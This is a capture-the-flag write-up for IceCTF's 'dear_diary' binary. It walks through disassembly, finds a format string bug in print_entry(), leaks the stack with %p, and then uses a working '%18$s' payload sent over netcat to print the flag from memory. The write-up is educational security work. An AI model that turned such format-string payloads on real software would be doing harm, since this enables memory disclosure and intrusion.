This challenge is part of IceCTF - a wonderful jeopardy style CTF event organized by the Reykjavík University for a span of 15 long days. Had a very good experience of participating in a good CTF after a long time. I will be posting writeups on some of the interesting challenges, I came across.

Here is the challenge file - dear_diary with md5sum : 45ecfd320d3b8236d3adece3041edb0f

Running file on dear_diary shows

dear_diary: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/, for GNU/Linux 2.6.24, BuildID[sha1]=a73393a21174b63ecc03cfec0e4e6342d9269ea4, not stripped

So, we have an unstripped x86 elf. Should be easy enough.

There is a function call to flag() as main() starts executing. This looks interesting. Disassembling flag() we can observe that

Dump of assembler code for function flag:
   0x0804863d <+0>:     push   ebp
   0x0804863e <+1>:	    mov    ebp,esp
   0x08048640 <+3>:	    sub    esp,0x28
   0x08048643 <+6>:	    mov    eax,gs:0x14
   0x08048649 <+12>:	mov    DWORD PTR [ebp-0xc],eax
   0x0804864c <+15>:	xor    eax,eax
   0x0804864e <+17>:	mov    DWORD PTR [esp+0x4],0x0
   0x08048656 <+25>:	mov    DWORD PTR [esp],0x8048940
   0x0804865d <+32>:	call   0x8048500 <open@plt>
   0x08048662 <+37>:	mov    DWORD PTR [ebp-0x10],eax
   0x08048665 <+40>:	mov    DWORD PTR [esp+0x8],0x100
   0x0804866d <+48>:	mov    DWORD PTR [esp+0x4],0x804a0a0
   0x08048675 <+56>:	mov    eax,DWORD PTR [ebp-0x10]
   0x08048678 <+59>:	mov    DWORD PTR [esp],eax
   0x0804867b <+62>:	call   0x8048480 <read@plt>
   0x08048680 <+67>:	mov    eax,DWORD PTR [ebp-0xc]
   0x08048683 <+70>:	xor    eax,DWORD PTR gs:0x14
   0x0804868a <+77>:	je     0x8048691 <flag+84>
   0x0804868c <+79>:	call   0x80484c0 <__stack_chk_fail@plt>
   0x08048691 <+84>:	leave  
   0x08048692 <+85>:	ret    
End of assembler dump.

At <flag+48>, the second argument to the read syscall is passed on to the stack. The address is from data section. The flag is opened and read to an address in data section.

There is also add_entry() and print_entry() which reads into memory and writes bytes which writes from memory respectively. There is no chance of a direct buffer overflow, since all the function epilogue consists of a call to __stack_chk_fail().

There is something fishy in add_entry(). Below is the disassembly from radare, after analysis.

Visual code analysis manipulation
  (fcn) sym.add_entry 142
            ; var int local_1ch @ ebp-0x1c
            ; var int local_ch @ ebp-0xc
            ; arg int arg_8h @ ebp+0x8
            ; var int local_4h @ esp+0x4
            ; var int local_8h @ esp+0x8
            ; CALL XREF from 0x08048853 (sym.main)
            0x08048693      push ebp
            0x08048694      ebp = esp
            0x08048696      esp -= 0x28
            0x08048699      eax = dword [ebp + arg_8h]                 ; [0x8:4]=-1 ; 8
            0x0804869c      dword [ebp - local_1ch] = eax
            0x0804869f      eax = dword gs:[0x14]                      ; [0x14:4]=-1 ; 20
            0x080486a5      dword [ebp - local_ch] = eax
            0x080486a8      eax = 0
            0x080486aa      dword [esp] = str.Tell_me_all_your_secrets: ; [0x804894b:4]=0x6c6c6554 LEA str.Tell_me_all_your_secr
            0x080486b1      sym.imp.printf ()
            0x080486b6      eax = dword [obj.stdout__GLIBC_2.0]        ; [0x804a080:4]=0 LEA obj.stdout__GLIBC_2.0 ; obj.stdout_
            0x080486bb      dword [esp] = eax
            0x080486be      sym.imp.fflush ()
            0x080486c3      eax = dword [obj.stdin__GLIBC_2.0]         ; [0x804a060:4]=0 LEA obj.stdin__GLIBC_2.0 ; obj.stdin__G
            0x080486c8      dword [esp + local_8h] = eax
            0x080486cc      dword [esp + local_4h] = 0x100             ; [0x100:4]=-1 ; 256
            0x080486d4      eax = dword [ebp - local_1ch]
            0x080486d7      dword [esp] = eax
            0x080486da      sym.imp.fgets ()
            0x080486df      dword [esp + local_4h] = 0x6e              ; [0x6e:4]=-1 ; 'n' ; 110
            0x080486e7      eax = dword [ebp - local_1ch]
            0x080486ea      dword [esp] = eax
            0x080486ed      sym.imp.strchr ()
            0x080486f2      if (eax == eax
        ┌─< 0x080486f4      isZero 0x804870e)
           0x080486f6      dword [esp] = str.rude_                    ; [0x8048966:4]=0x65647572 LEA str.rude_ ; "rude!" @ 0x
           0x080486fd      sym.imp.puts ()
           0x08048702      dword [esp] = 1
           0x08048709      sym.imp.exit ()
        └─> 0x0804870e      eax = dword [ebp - local_ch]
            0x08048711      eax ^= dword gs:[0x14]
        ┌─< 0x08048718      isZero 0x804871f)
           0x0804871a      sym.imp.__stack_chk_fail ()
        └─> 0x0804871f      

At 0x080486ed, strchr() is called on the input string after fgets() to check if there is any occurrence of byte 0x6e which is the character n. If present, the program terminates with an exit() call. This might give us a clue that this could be vulnerable to format string vulnerability. Because, “%n” can be used to do arbitrary writes in required memory locations.

Looking at the disassembly of print_entry() confirms that there is indeed a format string vulnerability.

There is a printf() call which takes only one parameter and that is the user supplied input in the add_entry() function. First, attempt to leak values in stack.


echo -ne '1\nAAAA%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p \n2\n3\n' | ./ | sed '10!d'

results in

> AAAA0x6e 0xf7e2bed5 0xffffbda8 0xffffd1a8 (nil) 0xa 0x24ef4600 0xf7fae000 0xf7fae000 0xffffd1b8 0x804888c 0xffffbda8 0x4 0xf7fae5a0 (nil) (nil) 0x1 0x41414141 0x25207025 0x70252070 0x20702520 0x25207025 0x70252070 0x20702520 0x25207025 0x70252070 0x20702520 0x25207025 0x70252070 0x20702520 0x25207025 0x70252070 0x20702520

The 18th supposed argument is 0x41414141, which marks the starting of the stack (AAAA%p %p...). So, we can pass an address (of the flag in data) at the starting of the buffer and %s the 18th argument.

Little endian notation of the address 0x0804a0a0 is \xa0\xa0\x04\x08. And we can choose the nth argument in the format string to parse by $ notation. So, %18$s will print the string present in the address pointed by the 18th argument. So, pushing our final payload,

echo -ne '1\n\xa0\xa0\x04\x08%18$s\n2\n3\n' | nc 6501

which gives us

-- Diary 3000 --

1. add entry
2. print latest entry
3. quit
> Tell me all your secrets: 
1. add entry
2. print latest entry
3. quit
> ��IceCTF{this_thing_is_just_sitting_here}

1. add entry
2. print latest entry
3. quit

Successfully pwned :) and got the flag as